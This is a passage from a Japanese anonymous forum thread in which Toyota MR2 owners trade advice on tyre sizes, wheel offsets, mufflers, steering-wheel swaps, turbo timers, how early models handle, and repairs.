>>156 つ[プラシーボ] いや湾岸ミッドナイトの世界なら確かに違うと思うけど。
159:名無しさん＠そうだドライブへ行こう
>>158 そう言われちゃどうしょうもないけど、 いちおう円書きとブレーキングで個人的に感じただけなんで(´・ω・`)
160:名無しさん＠そうだドライブへ行こう
円書きの速度域では微妙な気がするけど…3速円書き？まぁけど少なからず5型の羽はきいてそうな気がするが。当方4型
161:名無しさん＠そうだドライブへ行こう
円かき程度なら、ただリアが軽くなったからとか？w
162:名無しさん＠そうだドライブへ行こう
それにしても純正タイヤ＆ホイールのフェンダー面からの引っ込み方ってかっこ悪いよね？ 全体的にあと３センチは外に出てても良いだろ？って感じ。
163:名無しさん＠そうだドライブへ行こう
>>162 通称「電車」ですな。 純正はえてしてそういうもんだ・・・・けど、なんでだろね？ ツライチにしても、どこかに接触するわけでもないのに。 もしかして、アフターパーツ屋支援？
164:マジレス
>>162,163 チェーン巻いてもフェンダー、サスペンション等と 接触してはいけないという評価基準があるから。
165:名無しさん＠そうだドライブへ行こう
純正品のチェーソ+＠のはみ出し分を計算した結果なのではないかと。
166:名無しさん＠そうだドライブへ行こう
>>163 ホイールベースに対するトレッドの比率が狭い方が直進安定性は良いからね。 ドラッグマシンなんてみんなフェンダーから引っ込んでるでしょ？
167:名無しさん＠そうだドライブへ行こう
今どきののクルマって、スポーツカーでなくとも純正でも満足できるホイールの デザイン＆扁平率＆張り出し具合だけど、さすがにＳＷは純正のままだと一昔 前のクルマって感じがするね。 だけど１７インチに換えるだけで１０年以上昔のクルマとは思えないルックスになるから不思議。
168:名無しさん＠そうだドライブへ行こう
mr2用のウレタンブッシュってどこからでてますか？
169:名無しさん＠そうだドライブへ行こう
スレ違いでスマンが、本田美奈子が死んだぞ！ http://headlines.yahoo.co.jp/hl?a=20051106-00000023-jij-soci
170:163
>>164 ああ、そうか・・・チェーンのことすっかり忘れてたよ。サンクス。
171:名無しさん＠そうだドライブへ行こう
SW20の３型に乗ってますが、ポジションランプのレンズ（オレンジ色）を４型のクリアーのレンズに交換って加工なしで出来るのでしょうか？ ハーネス交換すればＯＫ。 そうでない場合はソケットに若干要加工。 ＃アンバー球のピンの配置が違うため ４型のハーネスって、３型のバッテリーから来る配線とカプラ形状同じってことですか？
172:名無しさん＠そうだドライブへ行こう
>>171 カプラ形状は・・・・ワカンネ(スマソ 俺、ソケットを現物合わせで削り込んで無理矢理入れちゃったからなあ。
173:名無しさん＠そうだドライブへ行こう
>>163 最近気づいたが、ある程度引っ込んでたほうがノーマル車高の高さを上手く隠せているような気がする。 ノーマル車高でホイールだけツライチにすると、車高の高さが凄く目立つ。
174:名無しさん＠そうだドライブへ行こう
5型の羽はトランクが凹むくらい効くから角度を最大にしてはいけないという注意書きが
175:名無しさん＠そうだドライブへ行こう
>>168 何処のブッシュの話？ ただ、ウレタンは無くてゴム硬度上げた物か ピロが殆どだったはず。 DIYスレでまな板を材料で削り出し自作した人の話は見た事あるよ。
176:名無しさん＠そうだドライブへ行こう
夏タイヤについて教えて下さい。 ＳＷ（車高調入り)に乗っています。 現状はフロント215/45-16 リア245/40-17を履いており、交換にあたり同じサイズを探しているのですが、 今のフロントのサイズだとあまり種類が無いので、サイズを変更しようかと思うのですが お薦めのサイズ・銘柄などありましたら教えて下さい。
177:名無しさん＠そうだドライブへ行こう
５型の羽は３型に加工無しで付くんだろうか・・・？ >>176 215/45-16は確かに少ないですね。 タイヤ屋さんで、裏サイズを聞いてみては？ DUNLOPのZ1は裏サイズでも無かったと思いますが。 自分もF：１６ ７Ｊ R：１７ ８Ｊ でフロントのタイヤが無いので、Ｆも１７ ７Ｊに変更しました・・・orz
178:名無しさん＠そうだドライブへ行こう
フロントタイヤ、205/45/16じゃだめなの？ サーキット行かないならこれで十分じゃないかな。 SW20で両方17インチだと 車体とバランスが合わなくて余計デカく見えるから。
179:名無しさん＠そうだドライブへ行こう
177＞ＳＷ５型乗りですが１７インチを履こうと思ってます。 オフセットはいくつぐらいですか？また爪折りは必要でしょうか？ 参考までに教えてくださいm(__)m
180:名無しさん＠そうだドライブへ行こう
>>179 フロントが+32～35の７Ｊ、リアが+35～38の８Ｊあたりが定番じゃないかな。 リム径は最近の欧州車スポーツカーの傾向から見ても前後１７インチで全然ＯＫ。 だって、今ではマツダのロードスタークラスのボディでも１７インチなのだから。
181:176
レス有難うございます。 >>178さん 205だとひっぱり気味になりませんか？ 一応ジムカーナをやっています。 自分でも色々調べてみて、あまりの種類の無さに フロント205/50-16 リア235/45-17辺りに妥協すべきか迷っています。 質問ばかりで申し訳ありませんが、宜しければ教えて下さいm(_ _)m
182:名無しさん＠そうだドライブへ行こう
>>179 Ｆ：215/45R17 ７J +35 R：235/40R17 ８J +35 です。
183:名無しさん＠そうだドライブへ行こう
>>156 マジレスしとくと、おそらくそれは重量が変化したから 感じるものだと思う。空力が、じゃなくてね。 ジムカーナでトランクごとはずす人がいるでしょ。羽 取るのが面倒だからさ。あれも結構挙動変わるよ。重いから。
184:名無しさん＠そうだドライブへ行こう
>>156 マジレスすると横風の受けたときの安定性は変わるよ。 トラック抜いた時とか、トンネル出口とか。 横方向から見た時の投影面積、空気抵抗係数が変わるから。
185:名無しさん＠そうだドライブへ行こう
今ＥＧ６乗ってて、５型のＭＲ２ＧＴに乗り換えようと思ってるんだけど、全然 タマがない。頼りにしてる中古やさんも、まあ気長に待ってくれとしか答えてくれん。 で、ＭＲ２ターボってやっぱ速いの？
186:名無しさん＠そうだドライブへ行こう
>>185 無理して5型に拘らなくてもGTなら3型以降ほとんど同じですよ 年式が古くなるから、チェック項目は増えるけど 正直、速さだけ求めるのであればエボやインプ乗った方がいいですね 荷物も載らないし二人乗りだし、EG6の方が色々使えて便利なのは間違いありません それでも、この車がイイ(゜▽゜)!!と言えるだけの魅力はあると思いますが
187:名無しさん＠そうだドライブへ行こう
>>185 十分に速いが今時のランエボやインプレッサとは比較にならない。 荷重移動やアクセル開度で前後タイヤの加減を感じ取って丁寧に操り、 車との対話を楽しむタイプの車。運転感覚はバイクに似ている。 事故率が高く、最終型は新車販売台数が極少なので中古のタマは少ない。 自力で探す事も考慮すべし。
188:185
>>186 その昔デルソルに乗ってまして、この車ＭＲ？って聞かれるのが心の傷になりまして、 それ以来、いつかはＭＲ乗ってやろうと思ってました。荷物も載らない２シーターに 何故かまた心挽かれるものもありますし。あと大排気量セダン乗りに、そんなん遅い だろと言われたのにカチーンときまして。
189:185
つーか、エボ、インプは見た目こそカッコよくても、内装がおっさん車だし・・・ やっぱデルソルもそうだったけど、あの極端に短いシフトレバーに極端に低い車高 じゃないと！
190:名無しさん＠そうだドライブへ行こう
こんどエキマニ外さないとなんですが、簡単に外れるもんですか？ ちなみに4型ターボです。 気を付けなければいけないこと コツなどありましたら教えてください。
191:名無しさん＠そうだドライブへ行こう
>>189 程度の良い5型を探すのは困難だと思われ。 もともとタマ数ないし、修復なし、走行距離 ドノーマルとかいろいろと拘るならなおさら。 まともそうな3型を探したほうがいいかも。
192:名無しさん＠そうだドライブへ行こう
ただねえ、故障診断コネクターなどは3型では旧タイプだから、今の計測機器や コンピューター系を取り付けられないのが難点かもね。 私は1型だからMDM-100位しか付けられなかったよ。
193:名無しさん＠そうだドライブへ行こう
ちなみに長年付き合ったSW歴（1型GT→3型GT-S→5型Gリミ）から 他車へ乗り換える事にしました。 市場で見かけ購入された方は大事にしてやってください。 http://h.pic.to/2h4c4 さらばSW20…
194:名無しさん＠そうだドライブへ行こう
>>190 ちょっときつい。熱で固着してることが多いから。 ナットはナットクラッカーで割り、ボルトはドリルで揉んで抜く覚悟が必要かも。
195:名無しさん＠そうだドライブへ行こう
トヨタエンブレム剥がそうとしたら、失敗してΘみたいになってしまった・・ 無理に剥がそうとするもんだから、傷もついた・・ もうどうしようもないかな・・
196:名無しさん＠そうだドライブへ行こう
>195 つ(エンブレム剥がしキット)
197:名無しさん＠そうだドライブへ行こう
>>193 しかし、あらためて見るとノーマルホイールの引っ込み具合はあり得ないな。
198:名無しさん＠そうだドライブへ行こう
当方4型GT-S乗ってるけど、買うならやっぱ5型でしょ。 気長にタマ探しした方が良いんじゃね？ 走行距離だけじゃなく、ゴム類や錆びなども年式古いと進行するからね。 ちなみに、俺のはドア穴開いて交換した。
199:名無しさん＠そうだドライブへ行こう
>>195 釣り糸を使うべし。
200:名無しさん＠そうだドライブへ行こう
>>197 それより腰高感が…。 ストラットじゃどうしてもウエストラインが高くなるのは避けられないか。
201:名無しさん＠そうだドライブへ行こう
５型の純正リアスポは３型に加工なしで付きますか？本当はBOMEXのハイマウントがほしかったけど、夏場に倒産したみたい。あとBOMEXのTYPE１のリアスポが売ってるところがあるなら教えてください。
202:名無しさん＠そうだドライブへ行こう
>>201 5型リアスポはそのまま付くよ。 穴の位置まったく同じ。
203:名無しさん＠そうだドライブへ行こう
SW-20 いいですねぇ。 来年あたりには購入しようかと考えてます(*´Д`*) しかし5型だけ極端に高い、、
204:名無しさん＠そうだドライブへ行こう
普通に乗るのなら３型以降はたいして変わらんよ。 程度が良くて７０万の３型と、程度が悪くて１００万の５型となら 前者がお勧め。
205:名無しさん＠そうだドライブへ行こう
> 一応ジムカーナをやっています。 > > 自分でも色々調べてみて、あまりの種類の無さに > フロント205/50-16 リア235/45-17辺りに妥協すべきか迷っています。 ジムカーナ出るんだったら１７はレギュレーション上不可では？
206:名無しさん＠そうだドライブへ行こう
>>205 今やジムカーナはＪＡＦ戦だけじゃない。 それにＪＡＦ戦でもラジアルタイヤクラスだったら、タイヤサイズ規制はないよ。
207:名無しさん＠そうだドライブへ行こう
SWの初期型は危険すぎる、とさんざん言われていますが実際のところどうですか？ 普通に運転しても怖いようなレベルですか？ Ⅲ型以降は評判がいいので、高くてもⅢ型以降にするべきなんでしょうけど 単に事実よりも大袈裟になっているだけなら初期型もありかと思うのですが。
208:名無しさん＠そうだドライブへ行こう
>>207 ＡＷやＡＺ―１よりはマシ。 街乗りなら普通の乗用車だぞ。 ３型からエンジン変更されてるけど。
209:名無しさん＠そうだドライブへ行こう
>>207 違いはあります。普通に乗って危険か？ってのは個人差があるので… 俺は１型で数え切れないほどスピンしましたが、奇跡的に無傷で乗り続けれましたよ。 個人的に３型以降をすすめる理由。 マウントや足回りその他の変更によるパーツの有無、探し易さです。 初期型を今後乗り続ける事はAW11を乗り続ける事以上に大変だと考えております。 でも否定はしません楽しいですから。
210:名無しさん＠そうだドライブへ行こう
SWのキーレスって飛距離短いよね・・・ しかもターボタイマーのせいでロックされたかされてないかわからないし。 社外キーレスにしようかと思ったけど 純正のキー埋め込み式リモコンなかなか好きなわけで悩んでおります。 みなさんどうしてます？
211:名無しさん＠そうだドライブへ行こう
まず今時ターボタイマー自体を付けてる人が少ないから外せば？ カセットデッキくらい減ったと思うよ
212:名無しさん＠そうだドライブへ行こう
結構回りはついてますけど・・・ 一応ターボタイマーは理にかなってるんでないよりましかとつけてます。
213:名無しさん＠そうだドライブへ行こう
ターボタイマーって、水冷タービンには百害あって一利無しなのに、、、。 説明が必要？？ >>212さん。
214:名無しさん＠そうだドライブへ行こう
>>213 212じゃないけどお願いします。
215:213
>>214 はい！ 元々ターボタイマーってタービンに冷却機能が無い時代に考えられた物 なのはご存知かと思います。 その時代でさえ、その必要性に対して「？」の意見がありました。 それが８０年代後半になると水冷式が増えてきて、、、（以下省略） で、今でもターボ車の説明書には、「高速・高回転運転後には、１５秒～３０秒程度のアイドリング運転 を行った後、エンジンを止めてください。」というような説明があると思います。 でも、実際に高速運転や高回転運転をした「直後」にエンジンを切る事なんてあるでしょうか？ 例えば高速道路で考えた場合、サービスエリアに寄る時には、減速車線に入って、３０キロ程度で サービスエリアに入り、駐車場を探してクルマを停止させる頃には３０秒は経っているはずです。 そこから更に１分も２分もアイドリングさせていたのでは、ガスの無駄とタービンシャフト＆メタルに 余分なスラッジを溜める原因にもなります。 ちなみに僕は富士山の麓にある、某老舗チューニングパーツメーカー「Ｈ▲Ｓ」 の本社で毒キノコの開発にも携わっていたので（もう１３～１５年くらい前かな） 毒キノコに関する暴露話もたくさんありますよww
216:名無しさん＠そうだドライブへ行こう
>>215 高橋くん？
217:名無しさん＠そうだドライブへ行こう
>>215 毒きのこの暴露話ぜひお願いします！
218:名無しさん＠そうだドライブへ行こう
先生！ SW 2型の評価はいかがなもんでしょ？ 足回りの弱点も強化され、エンジンはショボイとは言え160～180馬力。なかなか楽しく乗れるのではないですか？ 友達から貰えそうだけど、いい加減古いのでどうしようかなと。9万キロぐらい乗ってるみたいだし。
219:名無しさん＠そうだドライブへ行こう
話を戻してスマソが、冬の注意点の話 雪山に刺さったり、深雪走った後、ファンに雪詰まってオーバーヒートした経験蟻 ・・・エンジンっていう熱源が無いから融けないんだね・・・ ＡＷでの話。ＳＷはどうなんだろ
220:名無しさん＠そうだドライブへ行こう
雪ちゃんがつまったらどんな車でもオーバーヒートするんじゃない？FTOはなってた。
221:219
フロントエンジンの車乗ってた時は、ファンに詰まっても融けてたような希ガス
222:名無しさん＠そうだドライブへ行こう
>207 1型GTに乗ってるが町乗りに限っては普通の車。 って言うのはサーキットとか走ったこと無いので。 で、1型が危険とか言われてるのはかなり前のことで、 今時のタイヤを履いていればそんなに危険でもないような気がするけど どうでしょう？＞他の1型海苔の方。
223:名無しさん＠そうだドライブへ行こう
みなさんマフラーはどこのメーカーのものを装着してますか？ まあ簡単な点呼ということで…
224:名無しさん＠そうだドライブへ行こう
1型に4年乗ってたけど、いまの時代に1型はすすめない サスと剛性がまるで駄目、運転者に伝える前にスピンし危険 接地感もなく高速走行での車線変更はガクブルもん ありゃ適当に作ったとしか思えない出来 5型まで改良しつづけた所は今のトヨタからして驚き 街乗りではどの型も普通の車だけど、年式から 考えても乗るなら5型、そんなとこ
225:222
＞接地感もなく高速走行での車線変更はガクブルもん あんた、何キロで走ってんの??? そりゃ、フロントエンジン車に比べれば接地感は少ないけど、ガクブルって程じゃない。 2～3日乗れば慣れるでしょ?
226:名無しさん＠そうだドライブへ行こう
フロントスポイラーが大型化され、車高が5mm落とされた2～5型でも 高速走行は結構ガクブルもんなのに、1型だったら相当やばいんだろうなぁ。
227:名無しさん＠そうだドライブへ行こう
>>223柿本改！ 煩くなくて良い！
228:名無しさん＠そうだドライブへ行こう
SW1型GTのあまりのヌルさに我慢できず、 AWに戻ったおいらが来ましたよ。 インチアップして、まともなショックに換えれば 眠たくなるほどの普通のクルマだ。
229:名無しさん＠そうだドライブへ行こう
>>223 五次元・ボーダー304スピード 本当は藤壷RM01が欲しかったが・・・AW設定ナサス あ、ちゃんとサイレンサーは装備してますよ？
230:名無しさん＠そうだドライブへ行こう
>>223 ＲＭ０１Ａ＠ＳＷ３型ＧＴ－Ｓです。だんだん音が大きくなってきた・・・(゜Д゜；)
231:2型Gりみ乗り
純正→トムスバレル（錆びて穴開く）→RS-RエキマグGT2（車検あかん） そして今はアペックスN1マフラー これがチタンだったらなあ。
232:名無しさん＠そうだドライブへ行こう
>>223 アペックスＮ１マフリャー なぜターボだとナナメだし砲弾型じゃないのかと小１時間（ｒｙ 最近、5次元のミラクルファイアー ボールが欲しくなってきた
233:名無しさん＠そうだドライブへ行こう
>>223 不死鳥→チタンワンオフ MRで短いせいか思ったより安く作れた 不死鳥も重い以外は不満なかったんだけどね カッコもいいし
234:名無しさん＠そうだドライブへ行こう
>>223 BLITZニュルスペックV 右だしの為マフラーがうねり後ろ姿がかっこいい。と個人的に思ってて気に入ってる。 可変サイレンサーはあまり効果なし。けっこう煩い。
235:３型Ｇリミ
>223 レガリスＲ、静かなマフラーとは聞いていたけど・・本当に静かｗ あとすこし高めのタイヤ止めだとタイコが擦るし・・
236:名無しさん＠そうだドライブへ行こう
MR2はめちゃくちゃ難しいと聞きますが、例えば60kmで走行中いきなりハンドルを思いっきり切っただけでスピンするんでしょうか？
237:名無しさん＠そうだドライブへ行こう
>>236「いきなり」の意味がわかりません。 蛇角と切るスピードにもよりますが、普通にハンドルを切れば普通に曲がりますよ。 60km/hくらいで走ってれば、良くできたトヨタ車って思ってる俺は世間知らずカモ…。
238:名無しさん＠そうだドライブに行こう
>236 まずは乗ってみなされ。
239:名無しさん＠そうだドライブへ行こう
SWがガクブルなんて言ってるのは変にいじってるからだろ？ SWってアライメント変化や、タイヤ空気圧変化でも敏感だよ。 車高落としたり、タイヤ代えたりしてる人はその辺を配慮してるの？
240:名無しさん＠そうだドライブへ行こう
てゆーか、そんなにスピンもはやくないし。 ロドスタの方がスピン自体ははやい。 ホイールベースだってロドスタの方が短いし。 フロントの接地感がないってだけで、それに慣れればあんまりハチロクあたりと変わらん希ガス・・・ ・・・そんな漏れはＡＷでドリフトしてるが、ビギナークラスも脱出できないヘタレ。
241:名無しさん＠そうだドライブへ行こう
>>236 逆だね。ハンドル切っただけみたいな単純な操作じゃ スピンどころかまともに曲がらんよ。
242:名無しさん＠そうだドライブへ行こう
>>241 同意
243:名無しさん＠そうだドライブへ行こう
周りが脅かし過ぎだと思うね。 私もフルピロにしたらシビア過ぎて危険だって言われたけど 町乗りもこなすしハンドルの遊びも減ってなかなか良いよ。 結果、外野の戯言は聞き流して自分自身で体験を得よう。 それが一番確実。
244:名無しさん＠そうだドライブへ行こう
実態以上に「難しい、危ない」という印象が強いのがＭＲ２という車。 いい見方では「難しい車を乗りこなしている」という目で見られ、 悪い見方では「わざわざ難しい車に乗っている変人」という目で見られる 諸刃の剣。
245:名無しさん＠そうだドライブへ行こう
>>241 知り合いの4WD乗りに俺のSW乗せてみたら、まったく同じ事をやったのを思い出した。 普通に乗るなら、普通の車。 自分の実力を過信して飛ばすと痛い目に合う車。
246:名無しさん＠そうだドライブへ行こう
規定速度内ならいい車・・・・・・・・・・・ッテコトかな
247:名無しさん＠そうだドライブへ行こう
雨の日危険
248:名無しさん＠そうだドライブへ行こう
>>246 それまでの自分のいい加減な運転技術を否定されても 怒ったりせず、上級者の良いところを真摯な態度で学ぶ ことができるならいい車。それができずに運転できない なら、そいつに言わせりゃ悪い車だと思う。だって、まと もに走らないんだものｗ
249:名無しさん＠そうだドライブへ行こう
初期のスレで藤壺ＲＭ‐０１Ａがやたらベタ誉めされてた記憶があるんだけど、どんな音質なの？教えて親切な装着者。あ、当方は今アペックスボンバー２が最有力候補です。
250:名無しさん＠そうだドライブへ行こう
続けて質問さ。 サーキットでの話だが、みんなは油温と水温が 何度に到達したらクーリング走行にしてる？
251:名無しさん＠そうだドライブへ行こう
>>249 質問されてないけど、最有力らしいボンバーIIなら着けた事あるよ。
252:名無しさん＠そうだドライブへ行こう
>>249 一応インナーサイレンサーなしで保安基準適合だからかなり静か。純正と同じくらいの音量。 けどあんまりパワーは上がらん感じがする。 俺はＲＭ０１Ａ付けたけど、やっぱ静か過ぎたな… ボンバー２のほうが出口も大きいし、パワーは出そうだな。
253:２４９
>>251 わざわざありがとう！ んで、どんな感じでした？よければ教えて下さいな。
254:名無しさん＠そうだドライブへ行こう
>>239 誰もSWがガクブルなんて言ってない。 走行限界が早い1型はガクブルと言ってるだけ。 1型から3型以降に乗り換えた奴なら違いの変化に気付く。
255:名無しさん＠そうだドライブへ行こう
〃∩ ∧_∧ ⊂⌒( ・ω・) はいはいドラテク講義ドラテク講義 ｀ヽ_っ⌒/⌒c ⌒ ⌒
256:名無しさん＠そうだドライブへ行こう
>>249 ＲＭ－０１Ａです。音自体は大きくはないけど、低音が響く感じ。 もっとも、俺のはたいがい抜けてそうだからあまりアテにはなりません。orz 重量は激軽。ノーマルと比べると雲泥の差。運動性能にも影響ありそう。 慣れちゃったんでわからないけど(苦笑)
257:名無しさん＠そうだドライブへ行こう
>>253 どうもです。それでは個人的使用感を… まず一番はその価格ですね。触媒後からで３万円というのは嬉しい。 しかし、音を重視されている様ですね!?それだと少し物足りないと感じるかもしれません。 サイレンサーを着けると静か。回せばそれなりですが、アイドリング時は純正に毛が生えた程度。 サイレンサーを外しても今使用中のニュルスペVのサイレンサー着き程度。ボンバー2はもしかしたらサイレンサー無しでも車検通りそう…ムリかな。 抜けは良い３Ｓが気持ち良く回せる。 わかりにくい長文失礼致しましたm(__)m
258:名無しさん＠そうだドライブへ行こう
サイレンサーより触媒。あれが抵抗になってるらしい。 SARDのスポーツ触媒テラホシス
259:239
>>226はガクブルって書いてるよ。
260:名無しさん＠そうだドライブへ行こう
SWに社外スピーカー入れる場合何センチまで入りますか？ リア12フロント16と聞いたけどこれが限界？
261:名無しさん＠そうだドライブへ行こう
>>260 例外と思って聞いてくれ。 俺は無理矢理F16cm,R16cmを押し込んだ。 ２度とやりたくないが。
262:名無しさん＠そうだドライブへ行こう
まぁ！なんてイヤらしい！
263:名無しさん＠そうだドライブへ行こう
今日、漏れのＳＷ（Ｈ６年式、３型Ｇリミ）のステアリングを交換しようとモモステとボスを買ってきた。 ボスに関してはＨＫＢの適合表で確認したところ、 「Ｈ３．１２年～Ｈ８．１２年 マイナー後 電動フォグランプ車含む 適合品番＝ＯＴ－１２２」 となっていたので迷わずＯＴ－１２２を購入し、我が家で純正のステアリングを外してみたところ、ホー ン配線がカプラー式になっていて付かない事が発覚。今度はDaikeiの適合表で調べたところ、普通の 適合表とは別に「トヨタ車でカプラー式の場合」という適合表が別途ある事に気がつき「１１７」という品番 が適合しているようなので、これを購入したところバッチリ付いた。 これからステアリングを交換しようと考えている方は、ボスを購入する前に自分のクルマがカプラー式 なのか否かを確認してから購入しましょう。 以上、チラシの裏でした。
264:263
訂正 誤＝「Ｈ３．１２年～Ｈ８．１２年」 正＝「Ｈ３．１２月～Ｈ８．１２月」 orz
265:名無しさん＠そうだドライブへ行こう
>>264乙。 その内イイ事あるんじゃね？
266:名無しさん＠そうだドライブへ行こう
>>260 内装に直接付けてる人がいるよ（フロント） これならサイズは関係ないかもね。 ここ行って聞いてみたら？ 俺は内装はノーマルの方がいいけどね。 http://mr2.jp/cgi-bin/IB/imgboard.cgi
267:名無しさん＠そうだドライブへ行こう
豪雨の時、ＳＷは怖くてアクセル踏めねぇ～
268:名無しさん＠そうだドライブへ行こう
豪雨の中ＳＷの１型でドリフトできる猛者はおらんのか？
269:名無しさん＠そうだドライブへ行こう
いや、SW１型だからってそんな特別なクルマじゃないから。
270:名無しさん＠そうだドライブへ行こう
全ては海外でSWのスピンしてる絵が載った雑誌のせいじゃ。
271:名無しさん＠そうだドライブへ行こう
>>257 インプレサンクス！ ボンバー２の方向で進めて行きます。 ホントはＧＴスペック入れたいけどね。適合してないみたいなんで。 もう一つ質問いいでしょか？ 当方５型ＮＡなんですが、アペックスのパワーインテークがVVT-i不可になってるんですよね。 ホントに付かないの？ カタログとハイパーレブでは不可になってるけど、ＭＲ２＆ＭＲ－Ｓマガジンでは適合になってるし。 この雑誌がいいかげんなのか？ なんだか諦めきれなくて…。
272:名無しさん＠そうだドライブへ行こう
>>271 センサーやパイプを純正時に付いていた様に加工すれば大概の物は取り付けられるよ。
273:263
純正ステアリング（365パイ）を桃のコンペ（350パイ）に換えたら↓こんなんなりました。 http://2ch-dc-ita.gotdns.com/~dc-ita/cgi-bin/imgboard/img-box/img20051112122124.jpg 曲がり始めがクイックになったのと、グリップが太めなので操作性が向上し、インパネまわり もスパルタンな雰囲気になったのは良いのですが、「MOMO」の刺繍がこっぱずかしい、、、。
274:名無しさん＠そうだドライブへ行こう
>>270 「自動車評論家が試乗会で３人スピンさせた」というのは都市伝説なん？ あれを聞いて「１型は怖い車」というイメージ持ってた・・・ そんな俺は３型。
275:名無しさん＠そうだドライブへ行こう
稀少なＧリミオートマか．． サイドワイヤの調整が必要と思うのは私だけ？
276:名無しさん＠そうだドライブへ行こう
>>275 (・∀・)ノシ
277:名無しさん＠そうだドライブへ行こう
>>274 自動車評論家ってデジタルな操作しか出来ない、 単なる飛ばし屋、いわゆる下手糞が大多数なわけで。 俺が信用できるのは「新車情報」の人（名前失念）だけだな。 不躾棒テラモエス
278:名無しさん＠そうだドライブへ行こう
1型はタイヤがプアでLSDもなかったからコント ロールの幅が狭かったけど、 タイヤ変えてLSD入れればそこまで酷くないよ。
279:名無しさん＠そうだドライブへ行こう
SWの修理書、置に出てるな。欲しいが今月ピンチ…orz
280:名無しさん＠そうだドライブへ行こう
>>279 ＣＤライブラリじゃ駄目か？。あれなら定価で１２６０円だ。
281:名無しさん＠そうだドライブへ行こう
>>273 MOMOいいね～。 小さくなってクイックになるのがいい。 そんな私はMOMO JET 32Φ これ以上小さいとメーター見えんし操作が辛い。 ついでに取り外し式ボスにして気分によってハンドルを変えるのも吉。
282:名無しさん＠そうだドライブへ行こう
修理書は、やっぱ紙がいいよ。
283:名無しさん＠そうだドライブへ行こう
CD-ROMで辞典や辞書が一応あるけど普及しなかったよね。 本のありがたい所は直ぐに開いて調べられるからね。 そう言う私は本とCD-ROMと2つ使ってる。 本がぼろくなってもCDのを印刷して継ぎ接ぎしてるから。
284:名無しさん＠そうだドライブへ行こう
HDインスコ済の辞書は普及してるが
285:名無しさん＠そうだドライブへ行こう
>>284 CD-ROMってのが見えないのかな？ MR2に興味ある年齢層が下がってるのか読解力無い輩が増えているのか不明だが 単純に理解力無いのは人類としてうざいよ。
286:名無しさん＠そうだドライブへ行こう
>285 電子辞書とか大容量HDDの時代にCDーROM辞書の話題してるお前の方がウザイ。 ファビョってageてるし。
287:名無しさん＠そうだドライブへ行こう
4型の重ったるいデザインのハンドルが痛んできたので替えようと思うんですが、エアバッグは外したくありません。 で、最終純正なんていいかな、と思うですが、交換可能でしょうか。
288:おっさん
今日富士スピードウェイのトヨタモータースピードフェスティバル行ってきたよ、長野ナンバーの５型GTSの白のMR2の方いらっしゃいますか？
289:名無しさん＠そうだドライブへ行こう
>>287 不可能です。 TRDのに変えるしかない。
290:名無しさん＠そうだドライブへ行こう
>>289 レスありがとうございます。 TRDですか…部品も工賃も高くつきそうですね。 4型の妊婦さんみたいなハンドル、バックする時に良くホーン鳴らしちゃうんですよね。 4本スポークも車に合わない気がするし…
291:名無しさん＠そうだドライブへ行こう
>>285がウザい件について
292:名無しさん＠そうだドライブへ行こう
>>290 そんなあなたにはMOMOがお勧め。 エアバッグが無くなっちゃうけど。
293:名無しさん＠そうだドライブへ行こう
TRDステアリング4型につけているけどデザイン良いし DIYでもポン付け出来るのでおすすめ。 難点は高いことだけ。あと作業前にバッテリ端子外すのは忘れないように。
294:名無しさん＠そうだドライブへ行こう
>>293 バッテリーから外しちゃうと色々と弊害（ＥＣＵや時計、オーディオセッティング等がリセットされたりとか）があるので フロントボンネット左側にあるヒューズボックス内の「ホーン」っていうヒューズを抜く方法の方がお勧めです。
295:294
、、、と思ったら、エアバッグが作動しちゃうのねww
296:名無しさん＠そうだドライブへ行こう
AW11でLSD入りのMTなんですけど、オイル交換を考えています。 トヨタ純正のオイルだと ハイポイドギアオイルLSD と ギヤオイルスーパー というのがあるようですが、どちらが良いのでしょう？
297:名無しさん＠そうだドライブへ行こう
BP
298:名無しさん＠そうだドライブへ行こう
>>296 純正オイルは使ったらダメ。 ワコーズとかそういうやつの高いのをお使いなさい。
299:名無しさん＠そうだドライブへ行こう
みなさん、レスありがとうございます。4型ハンドル交換について質問した者です。 >>294 エアバッグのヒューズがあれば…でも輸送中の事故とか聞くと、怖いですよね。エアバッグ。
300:名無しさん＠そうだドライブへ行こう
俺はＮＡＲＤＩのＴｗｉｎ（Ｂｌａｃｋ＆Ｂｌａｃｋ）。 内側がメッシュ仕立てになっていて触り心地グット。
301:名無しさん＠そうだドライブへ行こう
最近右ドラシャが怪しいす。 古都古都いっとります。 ABSつきで高そうなんですがいくらくらいですか？ それとなんか安くすます方法あったらご伝授してくださいませ。
302:名無しさん＠そうだドライブへ行こう
古都ひかるキタ━━━━(゜∀゜)━━━━!!
303:名無しさん＠そうだドライブへ行こう
アダルト板からきました ひかるタソのスレはここですか？
304:名無しさん＠そうだドライブへ行こう
_ ∩ ( ゜∀゜)彡 おっぱい! おっぱい! ( ⊂彡 | | し ⌒Ｊ
305:名無しさん＠そうだドライブへ行こう
>>301 同型の中古を見つける。 ちなみに、ドラシャじゃなくてハブかもしれん。 ハブは高くても中古はやめれ。 実はすげぇ種類があったりするから。
306:名無しさん＠そうだドライブへ行こう
一年ほど前になるけどリアからゴトゴトゴトゴトなるもんで、ハブキターと思ってＤらに修理に出したんだが、 右のドラシャが腐って抜いたことは抜いたけど要交換ってなことを言われてリア左右ハブ交換で55Ｋの 見積もりだったんだが80Ｋに…orz ちなみに右ドラシャ全交換ではなくハブ側のほうだけリビルドに交換したんだけどそれでも2万5千もした。 工賃はハブ交換のみでいいと言ってくれたが、電話でドラシャアボーン宣告されたときは冷や汗かいた 関係ないけどさっきエンジンルーム掃除しますた。エンジンフード穴あきだからほんと汚れるよねこの車。 電装系カバーして洗車スプレーで水洗い…はする度胸がないのでレクトラクリーンと歯ブラシでシコシコした。 入りくんだところなんて地肌もみえないような感じだったんでやたら綺麗になった気がしたよ。
307:306
あ、ちなみに２型ターボね。オクとかで中古で見つければもっと安く済むだろうね。 まだ十万㌔行ってないけど年式が年式だから結構がたついてきてるね。 いろいろ交換してたらいつのまにか見た目だけ３型になってしもうた。
308:名無しさん＠そうだドライブへ行こう
5型純正ステアに自転車に巻くバーテープを巻いてます。 1000円くらいかな。 滑りにくくなって握り心地もいい感じになりましたが 少し厚みが出てしまうのがダメです。 ・・・って感想を書いた所で誰もしないか。 306さんオツカレさんです。 自分はエンジンヘッドカバーとその周り少々しか 掃除してません・・・ 下の方に手がとどかない orz
309:名無しさん＠そうだドライブへ行こう
>>306 別にブラシに洗浄液つけてガシャガシャ洗って、 水道水ぶっかけてすすいでも問題ならんよ。 電気系のカバーすら不要。 だって、ネッツでそうしてるの見たもんｗ
310:名無しさん＠そうだドライブへ行こう
